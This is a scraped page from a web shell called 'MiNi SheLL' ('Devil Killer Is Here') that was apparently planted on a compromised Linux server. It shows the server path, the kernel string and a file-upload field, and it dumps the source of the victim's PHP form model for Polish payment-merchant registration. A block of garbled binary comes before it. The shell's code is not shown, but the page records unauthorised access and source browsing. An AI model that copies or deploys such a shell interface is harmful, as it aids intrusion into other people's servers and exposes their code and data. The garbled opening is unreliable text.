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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/models/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/models/P24MerchantRegistrationForm.php

<?php
namespace backend\models;

use Yii;
use yii\helpers\ArrayHelper;
use yii\base\Model;
use common\models\Countries;
use common\models\types\ContactDataType;

/**
 * P24MerchantRegistrationForm form
 */
class P24MerchantRegistrationForm extends Model
{
    public $business_type;
    public $name; 
    public $email; 
    public $personal_identification_number; 
    public $phone; 
    public $bank_account; 
    public $invoice_email;
    public $shop_url;
    public $services_description;
    public $trade;
    public $national_court_register_number;
    public $tax_id;
    public $business_registration_number;
    public $acceptance;
    public $representative_name;
    public $representative_personal_identification_number;
    public $contact_person_name;
    public $contact_person_email;
    public $contact_person_phone;
    public $technical_contact_name;
    public $technical_contact_email;
    public $technical_contact_phone;
    public $address_id_country;
    public $address_locality;
    public $address_postcode;
    public $address_address;
    public $correspondence_address_id_country;
    public $correspondence_address_locality;
    public $correspondence_address_postcode;
    public $correspondence_address_address;
    
    private static $tradesList = [
        'agd', 'agdrtv', 'alkoh', 'apteki', 'artlab', 'artmed', 'artspoz', 'aukcje', 'behape', 'blizna', 'bilety', 'buki', 'biz', 'budow', 'chemia', 'czaspis', 
        'dekor', 'dewoc', 'domiogr', 'dziecko', 'elektronika', 'epapier', 'ezoter', 'filatel', 'finanse', 'fotogr', 'fundacja', 'galant', 'gadzet', 'gry', 'komphost', 
        'hotel', 'instyt', 'komputery', 'ksiazki', 'kosmetyki', 'ksieg', 'kip', 'mwf', 'maszyny', 'matbiur', 'matfol', 'matpap', 'militaria', 'motoryz', 'mim', 'nagrob', 
        'narzedzia', 'nis', 'numiz', 'obuwie', 'odziez', 'ogl', 'ogrod', 'oprogra', 'oswietl', 'pasman', 'podroze', 'randki', 'portfel', 'prasa', 'prawo', 'kurier',
        'reklama', 'rekodz', 'rodzice', 'rtv', 'serint', 'sklmuz', 'siw', 'suplem', 'szklo', 'szkol', 'sztuka', 'slubne', 'tif', 'telek', 'tkan', 'twstrwww', 'ubezp',
        'uslugi', 'wielob', 'wpc', 'wypmiesz', 'wypsklep', 'wyrtyt', 'wio', 'vod', 'zabawki', 'zik', 'zwierz'
    ];
    
    /**
     * @inheritdoc
     */
    public function rules()
    {
        return [        
            ['business_type', 'required'],
            ['business_type', 'number', 'integerOnly' => true, 'min' => 1, 'max' => 6],
            
            ['name', 'required'],
            ['name', 'string', 'min' => 3, 'max' => 255],
            
            ['email', 'required'],
            ['email', 'string', 'max' => 50],
            ['email', 'email'],
            
            [
                'personal_identification_number', 
                'required',
                'when' => function($model) { return intval($model->business_type) === 1; }, 
                'whenClient' => "function (attribute, value) { return parseInt(document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-business_type').value) === 1; }", 
            ],
            ['personal_identification_number', 'string', 'min' => 11, 'max' => 11],
            ['personal_identification_number', 'match', 'pattern' => '/^[0-9]{11}$/i'],
                        
            ['phone', 'required'],
            ['phone', 'string', 'min' => 9, 'max' => 9],
            ['phone', 'match', 'pattern' => '/^[0-9]{9}$/i'], 
                        
            ['bank_account', 'required'],
            ['bank_account', 'string', 'min' => 26, 'max' => 26],
            ['bank_account', 'match', 'pattern' => '/^[0-9]{26}$/i'],
            
            ['invoice_email', 'required'],
            ['invoice_email', 'string', 'max' => 50],
            ['invoice_email', 'email'],
                        
            [
                'shop_url', 
                'required',
                'when' => function($model) { return empty($model->services_description); }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-services_description').value !== ''; }", 
            ],
            ['shop_url', 'url', 'validSchemes' => ['http', 'https'], 'defaultScheme' => 'http'],

            [
                'services_description', 
                'required',
                'when' => function($model) { return empty($model->shop_url); }, 
                'whenClient' => "function (attribute, value) { return document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-shop_url').value === ''; }", 
            ],
            ['services_description', 'string'],
                        
            ['trade', 'required'],
            ['trade', 'in', 'range' => self::$tradesList],
                        
            [
                'national_court_register_number', 
                'required',
                'when' => function($model) { return intval($model->business_type) > 3; }, 
                'whenClient' => "function (attribute, value) { return parseInt(document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-business_type').value) > 3; }", 
            ],
            ['national_court_register_number', 'string', 'min' => 10, 'max' => 10],
            ['national_court_register_number', 'match', 'pattern' => '/^[0-9]{10}$/i'],
                        
            [
                'tax_id', 
                'required',
                'when' => function($model) { return intval($model->business_type) !== 1; }, 
                'whenClient' => "function (attribute, value) { return parseInt(document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-business_type').value) !== 1; }", 
            ],
            ['tax_id', 'string', 'min' => 10, 'max' => 10],
            ['tax_id', 'match', 'pattern' => '/^[0-9]{10}$/i'],
                        
            [
                'business_registration_number', 
                'required',
                'when' => function($model) { return intval($model->business_type) === 1; }, 
                'whenClient' => "function (attribute, value) { return parseInt(document.getElementById(attribute.input.slice(1, attribute.input.lastIndexOf('-'))+'-business_type').value) === 1; }", 
            ],
            ['business_registration_number', 'string', 'min' => 9, 'max' => 14],
            ['business_registration_number', 'match', 'pattern' => '/^[0-9]{9,14}$/i'],
                        
            ['acceptance', 'default', 'value' => true],
            ['acceptance', 'boolean', 'trueValue' => true, 'falseValue' => false],
                        
            ['representative_name', 'required'],
            ['representative_name', 'string', 'min' => 6, 'max' => 100],
                        
            ['representative_personal_identification_number', 'required'],
            ['representative_personal_identification_number', 'string', 'min' => 11, 'max' => 11],
            ['representative_personal_identification_number', 'match', 'pattern' => '/^[0-9]{11}$/i'],
                        
            ['contact_person_name', 'required'],
            ['contact_person_name', 'string', 'min' => 6, 'max' => 50],
                        
            ['contact_person_email', 'required'],
            ['contact_person_email', 'string', 'max' => 50],
            ['contact_person_email', 'email'],
                        
            ['contact_person_phone', 'required'],
            ['contact_person_phone', 'string', 'min' => 9, 'max' => 9],
            ['contact_person_phone', 'match', 'pattern' => '/^[0-9]{9}$/i'], 
                        
            ['technical_contact_name', 'required'],
            ['technical_contact_name', 'string', 'min' => 6, 'max' => 50],
                        
            ['technical_contact_email', 'required'],
            ['technical_contact_email', 'string', 'max' => 50],
            ['technical_contact_email', 'email'],
                        
            ['technical_contact_phone', 'required'],
            ['technical_contact_phone', 'string', 'min' => 9, 'max' => 9],
            ['technical_contact_phone', 'match', 'pattern' => '/^[0-9]{9}$/i'], 
                        
            ['address_id_country', 'required'],
            ['address_id_country', 'string', 'min' => 2, 'max' => 6],
            ['address_id_country', 'exist', 'targetClass' => Countries::className(), 'targetAttribute' => 'id_country'],
                        
            ['address_locality', 'required'],
            ['address_locality', 'string', 'min' => 3, 'max' => 50],
                        
            ['address_postcode', 'required'],
            ['address_postcode', 'string', 'min' => 6, 'max' => 6],
            ['address_postcode', 'match', 'pattern' => '/^[0-9]{2}-[0-9]{3}$/i'], 
                        
            ['address_address', 'required'],
            ['address_address', 'string', 'min' => 3, 'max' => 100],
                        
            ['correspondence_address_id_country', 'required'],
            ['correspondence_address_id_country', 'string', 'min' => 2, 'max' => 6],
            ['correspondence_address_id_country', 'exist', 'targetClass' => Countries::className(), 'targetAttribute' => 'id_country'],
                        
            ['correspondence_address_locality', 'required'],
            ['correspondence_address_locality', 'string', 'min' => 3, 'max' => 50],
                        
            ['correspondence_address_postcode', 'required'],
            ['correspondence_address_postcode', 'string', 'min' => 6, 'max' => 6],
            ['correspondence_address_postcode', 'match', 'pattern' => '/^[0-9]{2}-[0-9]{3}$/i'], 
                        
            ['correspondence_address_address', 'required'],
            ['correspondence_address_address', 'string', 'min' => 3, 'max' => 100],
        ];
    }
    
    
    /**
     * @inheritdoc
     */
    public function attributeLabels()
    {
        return [
            'business_type' => 'Rodzaj działalności',
            'name' => 'Nazwa działalności', 
            'email' => 'E-mail', 
            'personal_identification_number' => 'PESEL',
            'phone' => 'Telefon', 
            'bank_account' => 'Numer konta bankowego', 
            'invoice_email' => 'E-mail do faktur', 
            'shop_url' => 'Adres www strony internetowej',
            'services_description' => 'Opis świadczonych usług',
            'trade' => 'Branża',
            'national_court_register_number' => 'KRS',
            'tax_id' => 'NIP',
            'business_registration_number' => 'REGON',
            'acceptance' => 'Natychmiastowa aktywacja konta',
            'representative_name' => 'Imię i nazwisko',
            'representative_personal_identification_number' => 'PESEL',
            'contact_person_name' => 'Imię i nazwisko',
            'contact_person_email' => 'E-mail', 
            'contact_person_phone' => 'Telefon', 
            'technical_contact_name' => 'Imię i nazwisko',
            'technical_contact_email' => 'E-mail',
            'technical_contact_phone' => 'Telefon', 
            'address_id_country' => 'Kraj',
            'address_locality' => 'Miejscowość',
            'address_postcode' => 'Kod pocztowy',
            'address_address' => 'Adres',
            'correspondence_address_id_country' => 'Kraj',
            'correspondence_address_locality' => 'Miejscowość',
            'correspondence_address_postcode' => 'Kod pocztowy',
            'correspondence_address_address' => 'Adres',
        ];
    }    
    
    public static function getTradesValuesWithLabels()
    {
        return [
            'agd' => 'AGD',
            'agdrtv' => 'AGD i RTV',
            'alkoh' => 'Alkohole',
            'apteki' => 'Apteki',
            'artlab' => 'Artykuły laboratoryjne',
            'artmed' => 'Artykuły medyczne',
            'artspoz' => 'Artykuły spożywcze',
            'aukcje' => 'Aukcje',
            'behape' => 'BHP',
            'blizna' => 'Bielizna',
            'bilety' => 'Bilety',
            'buki' => 'Bukmacher',
            'biz' => 'Biżuteria i zegarki',
            'budow' => 'Budownictwo',
            'chemia' => 'Chemia',
            'czaspis' => 'Czasopisma',
            'dekor' => 'Dekoracje',
            'dewoc' => 'Dewocjonalia',
            'domiogr' => 'Dom i ogród',
            'dziecko' => 'Dziecko',
            'elektronika' => 'Elektronika',
            'epapier' => 'E-papierosy',
            'ezoter' => 'Ezoteryka',
            'filatel' => 'Filatelistyka',
            'finanse' => 'Finanse',
            'fotogr' => 'Fotografia',
            'fundacja' => 'Fundacja',
            'galant' => 'Galanteria',
            'gadzet' => 'Gadżety',
            'gry' => 'Gry',
            'komphost' => 'Hosting',
            'hotel' => 'Hotelarstwo',
            'instyt' => 'Instytucje',
            'komputery' => 'Komputery',
            'ksiazki' => 'Książki',
            'kosmetyki' => 'Kosmetyki',
            'ksieg' => 'Księgarnia',
            'kip' => 'Kwiaty i prezenty',
            'mwf' => 'Masowi Wystawcy Faktur',
            'maszyny' => 'Maszyny',
            'matbiur' => 'Materiały biurowe',
            'matfol' => 'Materiały foliowe',
            'matpap' => 'Materiały papierowe',
            'militaria' => 'Militaria',
            'motoryz' => 'Motoryzacja',
            'mim' => 'Multimedia i muzyka',
            'nagrob' => 'Nagrobki',
            'narzedzia' => 'Narzędzia',
            'nis' => 'Nauka i szkolnictwo',
            'numiz' => 'Numizmatyka',
            'obuwie' => 'Obuwie',
            'odziez' => 'Odzież',
            'ogl' => 'Ogłoszenia',
            'ogrod' => 'Ogród',
            'oprogra' => 'Oprogramowanie',
            'oswietl' => 'Oświetlenie',
            'pasman' => 'Pasmanteria',
            'podroze' => 'Podróże',
            'randki' => 'Portal randkowy',
            'portfel' => 'Portfel elektroniczny',
            'prasa' => 'Prasa',
            'prawo' => 'Prawo',
            'kurier' => 'Przesyłki kurierskie',
            'reklama' => 'Reklama',
            'rekodz' => 'Rękodzieło',
            'rodzice' => 'Rodzice',
            'rtv' => 'RTV',
            'serint' => 'Serwis internetowy',
            'sklmuz' => 'Sklep muzyczny',
            'siw' => 'Sport i wypoczynek',
            'suplem' => 'Suplementy diety',
            'szklo' => 'Szkło',
            'szkol' => 'Szkolenia',
            'sztuka' => 'Sztuka',
            'slubne' => 'Ślubne',
            'tif' => 'Teatr i film',
            'telek' => 'Telekomunikacja',
            'tkan' => 'Tkaniny',
            'twstrwww' => 'Tworzenie stron WWW',
            'ubezp' => 'Ubezpieczenia',
            'uslugi' => 'Usługi',
            'wielob' => 'Wielobranżowość',
            'wpc' => 'WP -conceptshop.pl',
            'wypmiesz' => 'Wyposażenie mieszkania',
            'wypsklep' => 'Wyposażenie sklepów',
            'wyrtyt' => 'Wyroby tytoniowe',
            'wio' => 'Wzrok i okulary',
            'vod' => 'Vod',
            'zabawki' => 'Zabawki',
            'zik' => 'Zdrowie i kosmetyki',
            'zwierz' => 'Zwierzęta'
        ];
    }
    
    public static function getBusinessTypesValuesWithLabels()
    {
        return [
            1 => 'Osoba fizyczna',
            2 => 'Jednoosobowa działalność gospodarcza',
            3 => 'Spółka cywilna',
            4 => 'Spółka jawna',
            5 => 'Spółka komandytowa',
            6 => 'Spółka komandytowo-akcyjna'
        ];
    }
    
    public function fillInFormWithCompanyData($modelCompany)
    {
        $modelsCompanyContactData = $modelCompany->getContactData()
                ->where(['data_type' => [
                    ContactDataType::EMAIL,
                    ContactDataType::PHONE,
                    ContactDataType::MOBILE_PHONE,
                    ContactDataType::WWW,
                    ContactDataType::FACEBOOK,
                ]])->orderBy('data_order')
                ->all();
        
        $www = null;
        $companyEmail = $companyPhone = null;
        if(!empty($modelsCompanyContactData)) {
            foreach($modelsCompanyContactData as $modelCompanyContactData) {
                if($modelCompanyContactData->data_type === ContactDataType::EMAIL && empty($companyEmail)) {
                    $companyEmail = $modelCompanyContactData->data_value;
                } elseif(($modelCompanyContactData->data_type === ContactDataType::PHONE || $modelCompanyContactData->data_type === ContactDataType::MOBILE_PHONE) && empty($companyPhone)) {
                    $companyPhone = preg_replace('|[^0-9]+|', '', $modelCompanyContactData->data_value);
                }                 
            }            
            foreach($modelsCompanyContactData as $modelCompanyContactData) {
                if(empty($www) && $modelCompanyContactData->data_type === ContactDataType::WWW) {
                    $www = $modelCompanyContactData->data_value;
                    break;
                }
            }
            if(empty($www)) {
                foreach($modelsCompanyContactData as $modelCompanyContactData) {
                    if($modelCompanyContactData->data_type === ContactDataType::FACEBOOK) {
                        $www = $modelCompanyContactData->data_value;
                        break;
                    }
                }
            }            
        }
        
        $modelsUserContactData = $modelCompany->user->getContactData()
                ->where(['data_type' => [
                    ContactDataType::EMAIL,
                    ContactDataType::PHONE,
                    ContactDataType::MOBILE_PHONE
                ]])->orderBy('data_order')
                ->all();
        
        $userEmail = $userPhone = null;
        if(!empty($modelsUserContactData)) {
            foreach($modelsUserContactData as $modelUserContactData) {
                if($modelUserContactData->data_type === ContactDataType::EMAIL) {
                    if(empty($companyEmail)) {
                        $companyEmail = $modelUserContactData->data_value;
                    }
                    if(empty($userEmail)) {
                        $userEmail = $modelUserContactData->data_value;
                    }                    
                } elseif(($modelUserContactData->data_type === ContactDataType::PHONE || $modelUserContactData->data_type === ContactDataType::MOBILE_PHONE)) {
                    if(empty($companyPhone)) {
                        $companyPhone = preg_replace('|[^0-9]+|', '', $modelUserContactData->data_value);
                    }
                    if(empty($userPhone)) {
                        $userPhone = preg_replace('|[^0-9]+|', '', $modelUserContactData->data_value);
                    }                    
                }
            }
        }
        
        $modelCompanyInvoicingData = $modelCompany->getInvoicingData()->andWhere(['or_main' => 1])->one();
        
        $userName = trim($modelCompany->user->forename.' '.$modelCompany->user->surname);
        $address = $modelCompany->street.' '.$modelCompany->building_number.(!empty($modelCompany->apartment_number) ? '/'.$modelCompany->apartment_number : '');
        
        $this->business_type = 2;
        $this->name = $modelCompany->name;
        $this->email = $companyEmail;
        $this->phone = $companyPhone;
        $this->invoice_email = $companyEmail;
        $this->shop_url = $www;
        $this->national_court_register_number = $modelCompany->national_court_register_number;
        $this->tax_id = !empty($modelCompanyInvoicingData->tax_id) ? $modelCompanyInvoicingData->tax_id : null;
        $this->business_registration_number = $modelCompany->business_registration_number;
        $this->acceptance = true;
        $this->representative_name = $userName;
        $this->contact_person_name = $userName;
        $this->contact_person_email = $userEmail;
        $this->contact_person_phone = $userPhone;
        $this->technical_contact_name = $userName;
        $this->technical_contact_email = $userEmail;
        $this->technical_contact_phone = $userPhone;
        $this->address_id_country = $modelCompany->id_country;
        $this->address_locality = $modelCompany->locality;
        $this->address_postcode = $modelCompany->postcode;
        $this->address_address = $address;
        $this->correspondence_address_id_country = $modelCompany->id_country;
        $this->correspondence_address_locality = $modelCompany->locality;
        $this->correspondence_address_postcode = $modelCompany->postcode;
        $this->correspondence_address_address = $address;
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com